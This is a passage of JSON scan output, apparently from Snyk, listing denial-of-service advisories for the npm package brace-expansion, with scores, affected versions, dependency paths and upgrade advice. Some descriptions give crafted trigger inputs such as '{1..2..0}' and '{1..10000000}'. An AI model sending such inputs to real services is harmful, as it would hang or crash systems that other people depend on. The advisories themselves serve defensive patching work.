"brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], 